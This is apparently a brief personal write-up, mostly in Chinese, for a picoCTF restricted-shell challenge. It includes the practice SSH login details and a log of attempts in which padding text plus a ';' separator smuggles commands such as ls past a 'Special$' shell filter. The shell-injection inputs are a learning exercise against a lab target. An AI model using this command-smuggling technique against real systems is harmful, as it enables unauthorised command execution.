---
# System prepended metadata

title: picoctf

---

Start your instance to see connection details.
ssh -p 52434 ctf-player@saturn.picoctf.net
The password is 483e80d4

從 writeup 與測試中可以看出幾點，要讓指令有效有幾個方法
1. 指令前面贅字夠長 ( 似乎只有前幾個字會轉換 )
2. 不能有空格除非補充指令
3. 加上;後可以隔絕前面的字符並讓後面的指令可被讀取
4. 不是所有指令都有效 ex: cd /
5. 部分指令加上""字串符號是有效

提示: 跟 challenge 有關

lslslsls;cd /
sh: 1: Aaaaaaaaaaa: not found
Special$ aaaaaaaaaaaaaa;ls
Aaaaaaaaaaaaaa;ls 
sh: 1: Aaaaaaaaaaaaaa: not found
blargh
Special$ aaaaaaaaaa;cat blargh
Aaaaaaaaaa;cat large 
sh: 1: Aaaaaaaaaa: not found
cat: large: No such file or directory

Special$ lslslsls;ls ../../
Lslslsls;ls ../../ 
sh: 1: Lslslsls: not found
bin  boot  challenge  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

Special$ aaaaaaaaaaaa;ls ../../challenge
Aaaaaaaaaaaa;ls ../../challenge 
sh: 1: Aaaaaaaaaaaa: not found
config-box.py  metadata.json
pecial$ aaaaaaaaaaaa;ls ../../challenge
Aaaaaaaaaaaa;ls ../../challenge 
sh: 1: Aaaaaaaaaaaa: not found
config-box.py  metadata.json